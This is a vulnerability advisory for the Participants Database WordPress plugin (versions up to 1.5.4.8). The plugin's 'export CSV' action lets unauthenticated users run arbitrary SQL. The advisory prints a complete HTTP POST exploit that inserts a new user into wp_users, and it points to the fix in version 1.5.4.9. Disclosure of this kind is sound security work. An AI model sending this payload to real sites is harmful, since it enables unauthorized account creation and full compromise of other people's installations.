Yarubo #1: Arbitrary SQL Execution in Participants Database for Wordpress
=========================================================================

Program: Participants Database <= 1.5.4.8
Severity: Unauthenticated attacker can fully compromise the Wordpress
installation
Permalink: http://www.yarubo.com/advisories/1

— Info —

Participants Database is a popular Wordpress plugin that offers the
functionality needed to build and maintain a database of people. As of
today the plugin has been downloaded 92,089 times.

— Vulnerability details —

1. Due to insufficient privilege checks it is possible for anonymous
(unauthenticated) users to trigger some administrative actions If any of
the shortcodes is used (e.g. signup page).

2. The action "export CSV" takes a parameter called "query" that can
contain an arbitrary SQL query. This means that an unauthenticated user can
execute arbitrary SQL statements (e.g. create an admin user, read or write
files, or execute code depending on the MySQL user privileges).


— Exploit —

Add a user to wordpress as follows (if you want an admin user, also add
admin privileges to wp_usermeta):


POST /wordpress/pdb-signup/ HTTP/1.1
Host: www.example.com
Content-Length: 789
(…)
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundaryuoACADe1C2IFWMxN

------WebKitFormBoundaryuoACADe1C2IFWMxN
Content-Disposition: form-data; name="action"

output CSV
------WebKitFormBoundaryuoACADe1C2IFWMxN
Content-Disposition: form-data; name="CSV_type"

participant list
------WebKitFormBoundaryuoACADe1C2IFWMxN
Content-Disposition: form-data; name="subsource"

participants-database
------WebKitFormBoundaryuoACADe1C2IFWMxN
Content-Disposition: form-data; name="query"

INSERT INTO wp_users
(ID,user_login,user_pass,user_nicename,user_email,user_registered,user_status,display_name)
VALUES
(31337,0x74657374,0x245024425a7a59615354486f41364b693355363576772f5461473861412f475a4b31,0x59617275626f,0x7465737440746573742e636f6d,0x323031342d31312d31312030303a30303a3030,0,0x59617275626f);

------WebKitFormBoundaryuoACADe1C2IFWMxN



— Solution —

This issue has been fixed in version 1.5.4.9. Download the newest version
from:

https://wordpress.org/plugins/participants-database/


— Credit —


Yarubo Research Team
research [at] yarubo.com

Network Security Scan:
http://www.yarubo.com/

Free Heartbleed Scan:
http://www.yarubo.com/heartbleed